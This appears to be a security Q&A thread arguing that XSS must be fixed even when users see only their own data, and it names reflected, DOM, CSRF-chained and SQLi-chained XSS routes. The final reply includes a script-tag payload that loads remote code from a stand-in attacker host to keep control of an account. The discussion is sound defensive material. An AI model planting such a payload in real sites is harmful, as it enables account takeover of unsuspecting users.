Are XSS attacks possible if access to content generated by other users is restricted?
tl/dr: Yes! Defense in depth is critical, so any XSS vulnerability is a vulnerability that needs to be fixed, regardless of whether or not a method of exploit is immediately obvious.
The Underlying Question
Whether intentional or not, there is a question behind your question that is much more important to answer. In essence what you are really asking is:
Do I need to worry about XSS if an attacker can't take advantage of it?
The answer to that is simple: you need to always worry about XSS. Any XSS vulnerability is a danger and, once known, should be fixed in accordance with best practices. This should be taken as a given even without considering specifics of your particular case. The reason is because web applications are rarely static. They change often and quickly.
Something starts life as an admin-only feature, so the developers decide to not worry about security. Six months later a change request comes from management and they want to share part of that feature with customers. The original developers are busy with something else and the new team doesn't notice that there is no XSS protection in the feature at all. As a result, when they push it out to everyone, the application gains a glaring XSS vulnerability. Stuff like that happens all the time. As a result, it's critical that basic application security is properly executed everywhere. The insecure-but-private applications of today invariably become the insecure-and-public applications of tomorrow. This will happen to you.
Finally, defense-in-depth is critical. Many real life breaches happen because an attacker finds one weakness that allows them to exploit another weakness, which leads to another weak spot, that finally leads to something juicy. "My user's only ever see their own data, so XSS doesn't matter" works perfectly fine until an attacker figures out how to inject data into another user's session. The lack of XSS protection will then allow the attacker to gain full access to the other user's data and presumably take over their account, while having XSS protection in place may have instead completely thwarted the attack.
Some Specifics
So, are there any ways in which an attacker may inject data into another user's session? There probably are! In particular:
- Reflected XSS (Steffen already touched on this)
- CSRF is a major concern: if you have an endpoint with a CSRF vulnerability, an attacker may be able to trigger a CSRF attack on another user's account, store an XSS payload in their data, and then use that XSS attack to compromise the user's account.
- SQLi: An attacker may be able to take advantage of an SQLi vulnerability to execute a stored XSS attack against all users' accounts, compromising everything.
That last one may seem like a bit of a stretch (simply because an SQLi attack is usually a severe problem on its own), but in the case of a write-only SQLi vulnerability it is a legitimate concern.
Summary
Having siloed user data isn't sufficient reason to be able to skimp on basic application security, because it rests on an assumption: that user's can never access each others' data. That assumption rarely holds true. If there is no XSS protection in place than an attacker only needs to find one vulnerability anywhere that allows them to inject data into another user's account in order to take it over. However, if you practice proper security everywhere, then an attacker will have to find a vulnerability that allows them to inject data and find a vulnerability that allows their XSS payload to execute. This is a much harder task and will make your users much safer.
What you describe prevents only Stored XSS. But reflected XSS is still possible if cross-site requests are allowed by the server and the authentication status is transported between requests using a session cookie - both things are usually the case. And DOM XSS is even possible without cross-site requests and cookie based authentication since the request is not even sent to the server.
What if a user leaves their account logged in? Normally the attacker would only have a short window of time to exploit this but if there is an XSS vulnerability, they can leave a malicious script which might just give them permanent control of the account, even after password changes.
The script does not even have to be ready at the time. An attacker can inject a
<script src="http://hackerssite.com/not_yet_existent_malicious_script.js"></script>
into the site and later make the script.